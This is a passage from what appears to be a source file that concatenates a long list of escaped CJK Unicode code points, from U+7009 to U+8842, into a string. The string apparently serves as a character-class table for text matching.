.\n'\\x{7009}\\x{700B}\\x{700F}\\x{7011}\\x{7015}\\x{7018}\\x{701A}\\x{701B}\\x{701D}' .\n'\\x{701E}\\x{701F}\\x{7026}\\x{7027}\\x{702C}\\x{7030}\\x{7032}\\x{703E}\\x{704C}' .\n'\\x{7051}\\x{7058}\\x{7063}\\x{706B}\\x{706F}\\x{7070}\\x{7078}\\x{707C}\\x{707D}' .\n'\\x{7089}\\x{708A}\\x{708E}\\x{7092}\\x{7099}\\x{70AC}\\x{70AD}\\x{70AE}\\x{70AF}' .\n'\\x{70B3}\\x{70B8}\\x{70B9}\\x{70BA}\\x{70C8}\\x{70CB}\\x{70CF}\\x{70D9}\\x{70DD}' .\n'\\x{70DF}\\x{70F1}\\x{70F9}\\x{70FD}\\x{7109}\\x{7114}\\x{7119}\\x{711A}\\x{711C}' .\n'\\x{7121}\\x{7126}\\x{7136}\\x{713C}\\x{7149}\\x{714C}\\x{714E}\\x{7155}\\x{7156}' .\n'\\x{7159}\\x{7162}\\x{7164}\\x{7165}\\x{7166}\\x{7167}\\x{7169}\\x{716C}\\x{716E}' .\n'\\x{717D}\\x{7184}\\x{7188}\\x{718A}\\x{718F}\\x{7194}\\x{7195}\\x{7199}\\x{719F}' .\n'\\x{71A8}\\x{71AC}\\x{71B1}\\x{71B9}\\x{71BE}\\x{71C3}\\x{71C8}\\x{71C9}\\x{71CE}' .\n'\\x{71D0}\\x{71D2}\\x{71D4}\\x{71D5}\\x{71D7}\\x{71DF}\\x{71E0}\\x{71E5}\\x{71E6}' .\n'\\x{71E7}\\x{71EC}\\x{71ED}\\x{71EE}\\x{71F5}\\x{71F9}\\x{71FB}\\x{71FC}\\x{71FF}' .\n'\\x{7206}\\x{720D}\\x{7210}\\x{721B}\\x{7228}\\x{722A}\\x{722C}\\x{722D}\\x{7230}' .\n'\\x{7232}\\x{7235}\\x{7236}\\x{723A}\\x{723B}\\x{723C}\\x{723D}\\x{723E}\\x{723F}' .\n'\\x{7240}\\x{7246}\\x{7247}\\x{7248}\\x{724B}\\x{724C}\\x{7252}\\x{7258}\\x{7259}' .\n'\\x{725B}\\x{725D}\\x{725F}\\x{7261}\\x{7262}\\x{7267}\\x{7269}\\x{7272}\\x{7274}' .\n'\\x{7279}\\x{727D}\\x{727E}\\x{7280}\\x{7281}\\x{7282}\\x{7287}\\x{7292}\\x{7296}' .\n'\\x{72A0}\\x{72A2}\\x{72A7}\\x{72AC}\\x{72AF}\\x{72B2}\\x{72B6}\\x{72B9}\\x{72C2}' .\n'\\x{72C3}\\x{72C4}\\x{72C6}\\x{72CE}\\x{72D0}\\x{72D2}\\x{72D7}\\x{72D9}\\x{72DB}' .\n'\\x{72E0}\\x{72E1}\\x{72E2}\\x{72E9}\\x{72EC}\\x{72ED}\\x{72F7}\\x{72F8}\\x{72F9}' .\n'\\x{72FC}\\x{72FD}\\x{730A}\\x{7316}\\x{7317}\\x{731B}\\x{731C}\\x{731D}\\x{731F}' .\n'\\x{7325}\\x{7329}\\x{732A}\\x{732B}\\x{732E}\\x{732F}\\x{7334}\\x{7336}\\x{7337}' .\n'\\x{733E}\\x{733F}\\x{7344}\\x{7345}\\x{734E}\\x{734F}\\x{7357}\\x{7363}\\x{7368}' .\n'\\x{736A}\\x{7370}\\x{7372}\\x{7375}\\x{7378}\\x{737A}\\x{737B}\\x{7384}\\x{7387}' .\n'\\x{7389}\\x{738B}\\x{7396}\\x{73A9}\\x{73B2}\\x{73B3}\\x{73BB}\\x{73C0}\\x{73C2}' .\n'\\x{73C8}\\x{73CA}\\x{73CD}\\x{73CE}\\x{73DE}\\x{73E0}\\x{73E5}\\x{73EA}\\x{73ED}' .\n'\\x{73EE}\\x{73F1}\\x{73F8}\\x{73FE}\\x{7403}\\x{7405}\\x{7406}\\x{7409}\\x{7422}' .\n'\\x{7425}\\x{7432}\\x{7433}\\x{7434}\\x{7435}\\x{7436}\\x{743A}\\x{743F}\\x{7441}' .\n'\\x{7455}\\x{7459}\\x{745A}\\x{745B}\\x{745C}\\x{745E}\\x{745F}\\x{7460}\\x{7463}' .\n'\\x{7464}\\x{7469}\\x{746A}\\x{746F}\\x{7470}\\x{7473}\\x{7476}\\x{747E}\\x{7483}' .\n'\\x{748B}\\x{749E}\\x{74A2}\\x{74A7}\\x{74B0}\\x{74BD}\\x{74CA}\\x{74CF}\\x{74D4}' .\n'\\x{74DC}\\x{74E0}\\x{74E2}\\x{74E3}\\x{74E6}\\x{74E7}\\x{74E9}\\x{74EE}\\x{74F0}' .\n'\\x{74F1}\\x{74F2}\\x{74F6}\\x{74F7}\\x{74F8}\\x{7503}\\x{7504}\\x{7505}\\x{750C}' .\n'\\x{750D}\\x{750E}\\x{7511}\\x{7513}\\x{7515}\\x{7518}\\x{751A}\\x{751C}\\x{751E}' .\n'\\x{751F}\\x{7523}\\x{7525}\\x{7526}\\x{7528}\\x{752B}\\x{752C}\\x{7530}\\x{7531}' .\n'\\x{7532}\\x{7533}\\x{7537}\\x{7538}\\x{753A}\\x{753B}\\x{753C}\\x{7544}\\x{7546}' .\n'\\x{7549}\\x{754A}\\x{754B}\\x{754C}\\x{754D}\\x{754F}\\x{7551}\\x{7554}\\x{7559}' .\n'\\x{755A}\\x{755B}\\x{755C}\\x{755D}\\x{7560}\\x{7562}\\x{7564}\\x{7565}\\x{7566}' .\n'\\x{7567}\\x{7569}\\x{756A}\\x{756B}\\x{756D}\\x{7570}\\x{7573}\\x{7574}\\x{7576}' .\n'\\x{7577}\\x{7578}\\x{757F}\\x{7582}\\x{7586}\\x{7587}\\x{7589}\\x{758A}\\x{758B}' .\n'\\x{758E}\\x{758F}\\x{7591}\\x{7594}\\x{759A}\\x{759D}\\x{75A3}\\x{75A5}\\x{75AB}' .\n'\\x{75B1}\\x{75B2}\\x{75B3}\\x{75B5}\\x{75B8}\\x{75B9}\\x{75BC}\\x{75BD}\\x{75BE}' .\n'\\x{75C2}\\x{75C3}\\x{75C5}\\x{75C7}\\x{75CA}\\x{75CD}\\x{75D2}\\x{75D4}\\x{75D5}' .\n'\\x{75D8}\\x{75D9}\\x{75DB}\\x{75DE}\\x{75E2}\\x{75E3}\\x{75E9}\\x{75F0}\\x{75F2}' .\n'\\x{75F3}\\x{75F4}\\x{75FA}\\x{75FC}\\x{75FE}\\x{75FF}\\x{7601}\\x{7609}\\x{760B}' .\n'\\x{760D}\\x{761F}\\x{7620}\\x{7621}\\x{7622}\\x{7624}\\x{7627}\\x{7630}\\x{7634}' .\n'\\x{763B}\\x{7642}\\x{7646}\\x{7647}\\x{7648}\\x{764C}\\x{7652}\\x{7656}\\x{7658}' .\n'\\x{765C}\\x{7661}\\x{7662}\\x{7667}\\x{7668}\\x{7669}\\x{766A}\\x{766C}\\x{7670}' .\n'\\x{7672}\\x{7676}\\x{7678}\\x{767A}\\x{767B}\\x{767C}\\x{767D}\\x{767E}\\x{7680}' .\n'\\x{7683}\\x{7684}\\x{7686}\\x{7687}\\x{7688}\\x{768B}\\x{768E}\\x{7690}\\x{7693}' .\n'\\x{7696}\\x{7699}\\x{769A}\\x{76AE}\\x{76B0}\\x{76B4}\\x{76B7}\\x{76B8}\\x{76B9}' .\n'\\x{76BA}\\x{76BF}\\x{76C2}\\x{76C3}\\x{76C6}\\x{76C8}\\x{76CA}\\x{76CD}\\x{76D2}' .\n'\\x{76D6}\\x{76D7}\\x{76DB}\\x{76DC}\\x{76DE}\\x{76DF}\\x{76E1}\\x{76E3}\\x{76E4}' .\n'\\x{76E5}\\x{76E7}\\x{76EA}\\x{76EE}\\x{76F2}\\x{76F4}\\x{76F8}\\x{76FB}\\x{76FE}' .\n'\\x{7701}\\x{7704}\\x{7707}\\x{7708}\\x{7709}\\x{770B}\\x{770C}\\x{771B}\\x{771E}' .\n'\\x{771F}\\x{7720}\\x{7724}\\x{7725}\\x{7726}\\x{7729}\\x{7737}\\x{7738}\\x{773A}' .\n'\\x{773C}\\x{7740}\\x{7747}\\x{775A}\\x{775B}\\x{7761}\\x{7763}\\x{7765}\\x{7766}' .\n'\\x{7768}\\x{776B}\\x{7779}\\x{777E}\\x{777F}\\x{778B}\\x{778E}\\x{7791}\\x{779E}' .\n'\\x{77A0}\\x{77A5}\\x{77AC}\\x{77AD}\\x{77B0}\\x{77B3}\\x{77B6}\\x{77B9}\\x{77BB}' .\n'\\x{77BC}\\x{77BD}\\x{77BF}\\x{77C7}\\x{77CD}\\x{77D7}\\x{77DA}\\x{77DB}\\x{77DC}' .\n'\\x{77E2}\\x{77E3}\\x{77E5}\\x{77E7}\\x{77E9}\\x{77ED}\\x{77EE}\\x{77EF}\\x{77F3}' .\n'\\x{77FC}\\x{7802}\\x{780C}\\x{7812}\\x{7814}\\x{7815}\\x{7820}\\x{7825}\\x{7826}' .\n'\\x{7827}\\x{7832}\\x{7834}\\x{783A}\\x{783F}\\x{7845}\\x{785D}\\x{786B}\\x{786C}' .\n'\\x{786F}\\x{7872}\\x{7874}\\x{787C}\\x{7881}\\x{7886}\\x{7887}\\x{788C}\\x{788D}' .\n'\\x{788E}\\x{7891}\\x{7893}\\x{7895}\\x{7897}\\x{789A}\\x{78A3}\\x{78A7}\\x{78A9}' .\n'\\x{78AA}\\x{78AF}\\x{78B5}\\x{78BA}\\x{78BC}\\x{78BE}\\x{78C1}\\x{78C5}\\x{78C6}' .\n'\\x{78CA}\\x{78CB}\\x{78D0}\\x{78D1}\\x{78D4}\\x{78DA}\\x{78E7}\\x{78E8}\\x{78EC}' .\n'\\x{78EF}\\x{78F4}\\x{78FD}\\x{7901}\\x{7907}\\x{790E}\\x{7911}\\x{7912}\\x{7919}' .\n'\\x{7926}\\x{792A}\\x{792B}\\x{792C}\\x{793A}\\x{793C}\\x{793E}\\x{7940}\\x{7941}' .\n'\\x{7947}\\x{7948}\\x{7949}\\x{7950}\\x{7953}\\x{7955}\\x{7956}\\x{7957}\\x{795A}' .\n'\\x{795D}\\x{795E}\\x{795F}\\x{7960}\\x{7962}\\x{7965}\\x{7968}\\x{796D}\\x{7977}' .\n'\\x{797A}\\x{797F}\\x{7980}\\x{7981}\\x{7984}\\x{7985}\\x{798A}\\x{798D}\\x{798E}' .\n'\\x{798F}\\x{799D}\\x{79A6}\\x{79A7}\\x{79AA}\\x{79AE}\\x{79B0}\\x{79B3}\\x{79B9}' .\n'\\x{79BA}\\x{79BD}\\x{79BE}\\x{79BF}\\x{79C0}\\x{79C1}\\x{79C9}\\x{79CB}\\x{79D1}' .\n'\\x{79D2}\\x{79D5}\\x{79D8}\\x{79DF}\\x{79E1}\\x{79E3}\\x{79E4}\\x{79E6}\\x{79E7}' .\n'\\x{79E9}\\x{79EC}\\x{79F0}\\x{79FB}\\x{7A00}\\x{7A08}\\x{7A0B}\\x{7A0D}\\x{7A0E}' .\n'\\x{7A14}\\x{7A17}\\x{7A18}\\x{7A19}\\x{7A1A}\\x{7A1C}\\x{7A1F}\\x{7A20}\\x{7A2E}' .\n'\\x{7A31}\\x{7A32}\\x{7A37}\\x{7A3B}\\x{7A3C}\\x{7A3D}\\x{7A3E}\\x{7A3F}\\x{7A40}' .\n'\\x{7A42}\\x{7A43}\\x{7A46}\\x{7A49}\\x{7A4D}\\x{7A4E}\\x{7A4F}\\x{7A50}\\x{7A57}' .\n'\\x{7A61}\\x{7A62}\\x{7A63}\\x{7A69}\\x{7A6B}\\x{7A70}\\x{7A74}\\x{7A76}\\x{7A79}' .\n'\\x{7A7A}\\x{7A7D}\\x{7A7F}\\x{7A81}\\x{7A83}\\x{7A84}\\x{7A88}\\x{7A92}\\x{7A93}' .\n'\\x{7A95}\\x{7A96}\\x{7A97}\\x{7A98}\\x{7A9F}\\x{7AA9}\\x{7AAA}\\x{7AAE}\\x{7AAF}' .\n'\\x{7AB0}\\x{7AB6}\\x{7ABA}\\x{7ABF}\\x{7AC3}\\x{7AC4}\\x{7AC5}\\x{7AC7}\\x{7AC8}' .\n'\\x{7ACA}\\x{7ACB}\\x{7ACD}\\x{7ACF}\\x{7AD2}\\x{7AD3}\\x{7AD5}\\x{7AD9}\\x{7ADA}' .\n'\\x{7ADC}\\x{7ADD}\\x{7ADF}\\x{7AE0}\\x{7AE1}\\x{7AE2}\\x{7AE3}\\x{7AE5}\\x{7AE6}' .\n'\\x{7AEA}\\x{7AED}\\x{7AEF}\\x{7AF0}\\x{7AF6}\\x{7AF8}\\x{7AF9}\\x{7AFA}\\x{7AFF}' .\n'\\x{7B02}\\x{7B04}\\x{7B06}\\x{7B08}\\x{7B0A}\\x{7B0B}\\x{7B0F}\\x{7B11}\\x{7B18}' .\n'\\x{7B19}\\x{7B1B}\\x{7B1E}\\x{7B20}\\x{7B25}\\x{7B26}\\x{7B28}\\x{7B2C}\\x{7B33}' .\n'\\x{7B35}\\x{7B36}\\x{7B39}\\x{7B45}\\x{7B46}\\x{7B48}\\x{7B49}\\x{7B4B}\\x{7B4C}' .\n'\\x{7B4D}\\x{7B4F}\\x{7B50}\\x{7B51}\\x{7B52}\\x{7B54}\\x{7B56}\\x{7B5D}\\x{7B65}' .\n'\\x{7B67}\\x{7B6C}\\x{7B6E}\\x{7B70}\\x{7B71}\\x{7B74}\\x{7B75}\\x{7B7A}\\x{7B86}' .\n'\\x{7B87}\\x{7B8B}\\x{7B8D}\\x{7B8F}\\x{7B92}\\x{7B94}\\x{7B95}\\x{7B97}\\x{7B98}' .\n'\\x{7B99}\\x{7B9A}\\x{7B9C}\\x{7B9D}\\x{7B9F}\\x{7BA1}\\x{7BAA}\\x{7BAD}\\x{7BB1}' .\n'\\x{7BB4}\\x{7BB8}\\x{7BC0}\\x{7BC1}\\x{7BC4}\\x{7BC6}\\x{7BC7}\\x{7BC9}\\x{7BCB}' .\n'\\x{7BCC}\\x{7BCF}\\x{7BDD}\\x{7BE0}\\x{7BE4}\\x{7BE5}\\x{7BE6}\\x{7BE9}\\x{7BED}' .\n'\\x{7BF3}\\x{7BF6}\\x{7BF7}\\x{7C00}\\x{7C07}\\x{7C0D}\\x{7C11}\\x{7C12}\\x{7C13}' .\n'\\x{7C14}\\x{7C17}\\x{7C1F}\\x{7C21}\\x{7C23}\\x{7C27}\\x{7C2A}\\x{7C2B}\\x{7C37}' .\n'\\x{7C38}\\x{7C3D}\\x{7C3E}\\x{7C3F}\\x{7C40}\\x{7C43}\\x{7C4C}\\x{7C4D}\\x{7C4F}' .\n'\\x{7C50}\\x{7C54}\\x{7C56}\\x{7C58}\\x{7C5F}\\x{7C60}\\x{7C64}\\x{7C65}\\x{7C6C}' .\n'\\x{7C73}\\x{7C75}\\x{7C7E}\\x{7C81}\\x{7C82}\\x{7C83}\\x{7C89}\\x{7C8B}\\x{7C8D}' .\n'\\x{7C90}\\x{7C92}\\x{7C95}\\x{7C97}\\x{7C98}\\x{7C9B}\\x{7C9F}\\x{7CA1}\\x{7CA2}' .\n'\\x{7CA4}\\x{7CA5}\\x{7CA7}\\x{7CA8}\\x{7CAB}\\x{7CAD}\\x{7CAE}\\x{7CB1}\\x{7CB2}' .\n'\\x{7CB3}\\x{7CB9}\\x{7CBD}\\x{7CBE}\\x{7CC0}\\x{7CC2}\\x{7CC5}\\x{7CCA}\\x{7CCE}' .\n'\\x{7CD2}\\x{7CD6}\\x{7CD8}\\x{7CDC}\\x{7CDE}\\x{7CDF}\\x{7CE0}\\x{7CE2}\\x{7CE7}' .\n'\\x{7CEF}\\x{7CF2}\\x{7CF4}\\x{7CF6}\\x{7CF8}\\x{7CFA}\\x{7CFB}\\x{7CFE}\\x{7D00}' .\n'\\x{7D02}\\x{7D04}\\x{7D05}\\x{7D06}\\x{7D0A}\\x{7D0B}\\x{7D0D}\\x{7D10}\\x{7D14}' .\n'\\x{7D15}\\x{7D17}\\x{7D18}\\x{7D19}\\x{7D1A}\\x{7D1B}\\x{7D1C}\\x{7D20}\\x{7D21}' .\n'\\x{7D22}\\x{7D2B}\\x{7D2C}\\x{7D2E}\\x{7D2F}\\x{7D30}\\x{7D32}\\x{7D33}\\x{7D35}' .\n'\\x{7D39}\\x{7D3A}\\x{7D3F}\\x{7D42}\\x{7D43}\\x{7D44}\\x{7D45}\\x{7D46}\\x{7D4B}' .\n'\\x{7D4C}\\x{7D4E}\\x{7D4F}\\x{7D50}\\x{7D56}\\x{7D5B}\\x{7D5E}\\x{7D61}\\x{7D62}' .\n'\\x{7D63}\\x{7D66}\\x{7D68}\\x{7D6E}\\x{7D71}\\x{7D72}\\x{7D73}\\x{7D75}\\x{7D76}' .\n'\\x{7D79}\\x{7D7D}\\x{7D89}\\x{7D8F}\\x{7D93}\\x{7D99}\\x{7D9A}\\x{7D9B}\\x{7D9C}' .\n'\\x{7D9F}\\x{7DA2}\\x{7DA3}\\x{7DAB}\\x{7DAC}\\x{7DAD}\\x{7DAE}\\x{7DAF}\\x{7DB0}' .\n'\\x{7DB1}\\x{7DB2}\\x{7DB4}\\x{7DB5}\\x{7DB8}\\x{7DBA}\\x{7DBB}\\x{7DBD}\\x{7DBE}' .\n'\\x{7DBF}\\x{7DC7}\\x{7DCA}\\x{7DCB}\\x{7DCF}\\x{7DD1}\\x{7DD2}\\x{7DD5}\\x{7DD8}' .\n'\\x{7DDA}\\x{7DDC}\\x{7DDD}\\x{7DDE}\\x{7DE0}\\x{7DE1}\\x{7DE4}\\x{7DE8}\\x{7DE9}' .\n'\\x{7DEC}\\x{7DEF}\\x{7DF2}\\x{7DF4}\\x{7DFB}\\x{7E01}\\x{7E04}\\x{7E05}\\x{7E09}' .\n'\\x{7E0A}\\x{7E0B}\\x{7E12}\\x{7E1B}\\x{7E1E}\\x{7E1F}\\x{7E21}\\x{7E22}\\x{7E23}' .\n'\\x{7E26}\\x{7E2B}\\x{7E2E}\\x{7E31}\\x{7E32}\\x{7E35}\\x{7E37}\\x{7E39}\\x{7E3A}' .\n'\\x{7E3B}\\x{7E3D}\\x{7E3E}\\x{7E41}\\x{7E43}\\x{7E46}\\x{7E4A}\\x{7E4B}\\x{7E4D}' .\n'\\x{7E54}\\x{7E55}\\x{7E56}\\x{7E59}\\x{7E5A}\\x{7E5D}\\x{7E5E}\\x{7E66}\\x{7E67}' .\n'\\x{7E69}\\x{7E6A}\\x{7E6D}\\x{7E70}\\x{7E79}\\x{7E7B}\\x{7E7C}\\x{7E7D}\\x{7E7F}' .\n'\\x{7E82}\\x{7E83}\\x{7E88}\\x{7E89}\\x{7E8C}\\x{7E8E}\\x{7E8F}\\x{7E90}\\x{7E92}' .\n'\\x{7E93}\\x{7E94}\\x{7E96}\\x{7E9B}\\x{7E9C}\\x{7F36}\\x{7F38}\\x{7F3A}\\x{7F45}' .\n'\\x{7F4C}\\x{7F4D}\\x{7F4E}\\x{7F50}\\x{7F51}\\x{7F54}\\x{7F55}\\x{7F58}\\x{7F5F}' .\n'\\x{7F60}\\x{7F67}\\x{7F68}\\x{7F69}\\x{7F6A}\\x{7F6B}\\x{7F6E}\\x{7F70}\\x{7F72}' .\n'\\x{7F75}\\x{7F77}\\x{7F78}\\x{7F79}\\x{7F82}\\x{7F83}\\x{7F85}\\x{7F86}\\x{7F87}' .\n'\\x{7F88}\\x{7F8A}\\x{7F8C}\\x{7F8E}\\x{7F94}\\x{7F9A}\\x{7F9D}\\x{7F9E}\\x{7FA3}' .\n'\\x{7FA4}\\x{7FA8}\\x{7FA9}\\x{7FAE}\\x{7FAF}\\x{7FB2}\\x{7FB6}\\x{7FB8}\\x{7FB9}' .\n'\\x{7FBD}\\x{7FC1}\\x{7FC5}\\x{7FC6}\\x{7FCA}\\x{7FCC}\\x{7FD2}\\x{7FD4}\\x{7FD5}' .\n'\\x{7FE0}\\x{7FE1}\\x{7FE6}\\x{7FE9}\\x{7FEB}\\x{7FF0}\\x{7FF3}\\x{7FF9}\\x{7FFB}' .\n'\\x{7FFC}\\x{8000}\\x{8001}\\x{8003}\\x{8004}\\x{8005}\\x{8006}\\x{800B}\\x{800C}' .\n'\\x{8010}\\x{8012}\\x{8015}\\x{8017}\\x{8018}\\x{8019}\\x{801C}\\x{8021}\\x{8028}' .\n'\\x{8033}\\x{8036}\\x{803B}\\x{803D}\\x{803F}\\x{8046}\\x{804A}\\x{8052}\\x{8056}' .\n'\\x{8058}\\x{805A}\\x{805E}\\x{805F}\\x{8061}\\x{8062}\\x{8068}\\x{806F}\\x{8070}' .\n'\\x{8072}\\x{8073}\\x{8074}\\x{8076}\\x{8077}\\x{8079}\\x{807D}\\x{807E}\\x{807F}' .\n'\\x{8084}\\x{8085}\\x{8086}\\x{8087}\\x{8089}\\x{808B}\\x{808C}\\x{8093}\\x{8096}' .\n'\\x{8098}\\x{809A}\\x{809B}\\x{809D}\\x{80A1}\\x{80A2}\\x{80A5}\\x{80A9}\\x{80AA}' .\n'\\x{80AC}\\x{80AD}\\x{80AF}\\x{80B1}\\x{80B2}\\x{80B4}\\x{80BA}\\x{80C3}\\x{80C4}' .\n'\\x{80C6}\\x{80CC}\\x{80CE}\\x{80D6}\\x{80D9}\\x{80DA}\\x{80DB}\\x{80DD}\\x{80DE}' .\n'\\x{80E1}\\x{80E4}\\x{80E5}\\x{80EF}\\x{80F1}\\x{80F4}\\x{80F8}\\x{80FC}\\x{80FD}' .\n'\\x{8102}\\x{8105}\\x{8106}\\x{8107}\\x{8108}\\x{8109}\\x{810A}\\x{811A}\\x{811B}' .\n'\\x{8123}\\x{8129}\\x{812F}\\x{8131}\\x{8133}\\x{8139}\\x{813E}\\x{8146}\\x{814B}' .\n'\\x{814E}\\x{8150}\\x{8151}\\x{8153}\\x{8154}\\x{8155}\\x{815F}\\x{8165}\\x{8166}' .\n'\\x{816B}\\x{816E}\\x{8170}\\x{8171}\\x{8174}\\x{8178}\\x{8179}\\x{817A}\\x{817F}' .\n'\\x{8180}\\x{8182}\\x{8183}\\x{8188}\\x{818A}\\x{818F}\\x{8193}\\x{8195}\\x{819A}' .\n'\\x{819C}\\x{819D}\\x{81A0}\\x{81A3}\\x{81A4}\\x{81A8}\\x{81A9}\\x{81B0}\\x{81B3}' .\n'\\x{81B5}\\x{81B8}\\x{81BA}\\x{81BD}\\x{81BE}\\x{81BF}\\x{81C0}\\x{81C2}\\x{81C6}' .\n'\\x{81C8}\\x{81C9}\\x{81CD}\\x{81D1}\\x{81D3}\\x{81D8}\\x{81D9}\\x{81DA}\\x{81DF}' .\n'\\x{81E0}\\x{81E3}\\x{81E5}\\x{81E7}\\x{81E8}\\x{81EA}\\x{81ED}\\x{81F3}\\x{81F4}' .\n'\\x{81FA}\\x{81FB}\\x{81FC}\\x{81FE}\\x{8201}\\x{8202}\\x{8205}\\x{8207}\\x{8208}' .\n'\\x{8209}\\x{820A}\\x{820C}\\x{820D}\\x{820E}\\x{8210}\\x{8212}\\x{8216}\\x{8217}' .\n'\\x{8218}\\x{821B}\\x{821C}\\x{821E}\\x{821F}\\x{8229}\\x{822A}\\x{822B}\\x{822C}' .\n'\\x{822E}\\x{8233}\\x{8235}\\x{8236}\\x{8237}\\x{8238}\\x{8239}\\x{8240}\\x{8247}' .\n'\\x{8258}\\x{8259}\\x{825A}\\x{825D}\\x{825F}\\x{8262}\\x{8264}\\x{8266}\\x{8268}' .\n'\\x{826A}\\x{826B}\\x{826E}\\x{826F}\\x{8271}\\x{8272}\\x{8276}\\x{8277}\\x{8278}' .\n'\\x{827E}\\x{828B}\\x{828D}\\x{8292}\\x{8299}\\x{829D}\\x{829F}\\x{82A5}\\x{82A6}' .\n'\\x{82AB}\\x{82AC}\\x{82AD}\\x{82AF}\\x{82B1}\\x{82B3}\\x{82B8}\\x{82B9}\\x{82BB}' .\n'\\x{82BD}\\x{82C5}\\x{82D1}\\x{82D2}\\x{82D3}\\x{82D4}\\x{82D7}\\x{82D9}\\x{82DB}' .\n'\\x{82DC}\\x{82DE}\\x{82DF}\\x{82E1}\\x{82E3}\\x{82E5}\\x{82E6}\\x{82E7}\\x{82EB}' .\n'\\x{82F1}\\x{82F3}\\x{82F4}\\x{82F9}\\x{82FA}\\x{82FB}\\x{8302}\\x{8303}\\x{8304}' .\n'\\x{8305}\\x{8306}\\x{8309}\\x{830E}\\x{8316}\\x{8317}\\x{8318}\\x{831C}\\x{8323}' .\n'\\x{8328}\\x{832B}\\x{832F}\\x{8331}\\x{8332}\\x{8334}\\x{8335}\\x{8336}\\x{8338}' .\n'\\x{8339}\\x{8340}\\x{8345}\\x{8349}\\x{834A}\\x{834F}\\x{8350}\\x{8352}\\x{8358}' .\n'\\x{8373}\\x{8375}\\x{8377}\\x{837B}\\x{837C}\\x{8385}\\x{8387}\\x{8389}\\x{838A}' .\n'\\x{838E}\\x{8393}\\x{8396}\\x{839A}\\x{839E}\\x{839F}\\x{83A0}\\x{83A2}\\x{83A8}' .\n'\\x{83AA}\\x{83AB}\\x{83B1}\\x{83B5}\\x{83BD}\\x{83C1}\\x{83C5}\\x{83CA}\\x{83CC}' .\n'\\x{83CE}\\x{83D3}\\x{83D6}\\x{83D8}\\x{83DC}\\x{83DF}\\x{83E0}\\x{83E9}\\x{83EB}' .\n'\\x{83EF}\\x{83F0}\\x{83F1}\\x{83F2}\\x{83F4}\\x{83F7}\\x{83FB}\\x{83FD}\\x{8403}' .\n'\\x{8404}\\x{8407}\\x{840B}\\x{840C}\\x{840D}\\x{840E}\\x{8413}\\x{8420}\\x{8422}' .\n'\\x{8429}\\x{842A}\\x{842C}\\x{8431}\\x{8435}\\x{8438}\\x{843C}\\x{843D}\\x{8446}' .\n'\\x{8449}\\x{844E}\\x{8457}\\x{845B}\\x{8461}\\x{8462}\\x{8463}\\x{8466}\\x{8469}' .\n'\\x{846B}\\x{846C}\\x{846D}\\x{846E}\\x{846F}\\x{8471}\\x{8475}\\x{8477}\\x{8479}' .\n'\\x{847A}\\x{8482}\\x{8484}\\x{848B}\\x{8490}\\x{8494}\\x{8499}\\x{849C}\\x{849F}' .\n'\\x{84A1}\\x{84AD}\\x{84B2}\\x{84B8}\\x{84B9}\\x{84BB}\\x{84BC}\\x{84BF}\\x{84C1}' .\n'\\x{84C4}\\x{84C6}\\x{84C9}\\x{84CA}\\x{84CB}\\x{84CD}\\x{84D0}\\x{84D1}\\x{84D6}' .\n'\\x{84D9}\\x{84DA}\\x{84EC}\\x{84EE}\\x{84F4}\\x{84FC}\\x{84FF}\\x{8500}\\x{8506}' .\n'\\x{8511}\\x{8513}\\x{8514}\\x{8515}\\x{8517}\\x{8518}\\x{851A}\\x{851F}\\x{8521}' .\n'\\x{8526}\\x{852C}\\x{852D}\\x{8535}\\x{853D}\\x{8540}\\x{8541}\\x{8543}\\x{8548}' .\n'\\x{8549}\\x{854A}\\x{854B}\\x{854E}\\x{8555}\\x{8557}\\x{8558}\\x{855A}\\x{8563}' .\n'\\x{8568}\\x{8569}\\x{856A}\\x{856D}\\x{8577}\\x{857E}\\x{8580}\\x{8584}\\x{8587}' .\n'\\x{8588}\\x{858A}\\x{8590}\\x{8591}\\x{8594}\\x{8597}\\x{8599}\\x{859B}\\x{859C}' .\n'\\x{85A4}\\x{85A6}\\x{85A8}\\x{85A9}\\x{85AA}\\x{85AB}\\x{85AC}\\x{85AE}\\x{85AF}' .\n'\\x{85B9}\\x{85BA}\\x{85C1}\\x{85C9}\\x{85CD}\\x{85CF}\\x{85D0}\\x{85D5}\\x{85DC}' .\n'\\x{85DD}\\x{85E4}\\x{85E5}\\x{85E9}\\x{85EA}\\x{85F7}\\x{85F9}\\x{85FA}\\x{85FB}' .\n'\\x{85FE}\\x{8602}\\x{8606}\\x{8607}\\x{860A}\\x{860B}\\x{8613}\\x{8616}\\x{8617}' .\n'\\x{861A}\\x{8622}\\x{862D}\\x{862F}\\x{8630}\\x{863F}\\x{864D}\\x{864E}\\x{8650}' .\n'\\x{8654}\\x{8655}\\x{865A}\\x{865C}\\x{865E}\\x{865F}\\x{8667}\\x{866B}\\x{8671}' .\n'\\x{8679}\\x{867B}\\x{868A}\\x{868B}\\x{868C}\\x{8693}\\x{8695}\\x{86A3}\\x{86A4}' .\n'\\x{86A9}\\x{86AA}\\x{86AB}\\x{86AF}\\x{86B0}\\x{86B6}\\x{86C4}\\x{86C6}\\x{86C7}' .\n'\\x{86C9}\\x{86CB}\\x{86CD}\\x{86CE}\\x{86D4}\\x{86D9}\\x{86DB}\\x{86DE}\\x{86DF}' .\n'\\x{86E4}\\x{86E9}\\x{86EC}\\x{86ED}\\x{86EE}\\x{86EF}\\x{86F8}\\x{86F9}\\x{86FB}' .\n'\\x{86FE}\\x{8700}\\x{8702}\\x{8703}\\x{8706}\\x{8708}\\x{8709}\\x{870A}\\x{870D}' .\n'\\x{8711}\\x{8712}\\x{8718}\\x{871A}\\x{871C}\\x{8725}\\x{8729}\\x{8734}\\x{8737}' .\n'\\x{873B}\\x{873F}\\x{8749}\\x{874B}\\x{874C}\\x{874E}\\x{8753}\\x{8755}\\x{8757}' .\n'\\x{8759}\\x{875F}\\x{8760}\\x{8763}\\x{8766}\\x{8768}\\x{876A}\\x{876E}\\x{8774}' .\n'\\x{8776}\\x{8778}\\x{877F}\\x{8782}\\x{878D}\\x{879F}\\x{87A2}\\x{87AB}\\x{87AF}' .\n'\\x{87B3}\\x{87BA}\\x{87BB}\\x{87BD}\\x{87C0}\\x{87C4}\\x{87C6}\\x{87C7}\\x{87CB}' .\n'\\x{87D0}\\x{87D2}\\x{87E0}\\x{87EF}\\x{87F2}\\x{87F6}\\x{87F7}\\x{87F9}\\x{87FB}' .\n'\\x{87FE}\\x{8805}\\x{880D}\\x{880E}\\x{880F}\\x{8811}\\x{8815}\\x{8816}\\x{8821}' .\n'\\x{8822}\\x{8823}\\x{8827}\\x{8831}\\x{8836}\\x{8839}\\x{883B}\\x{8840}\\x{8842}' 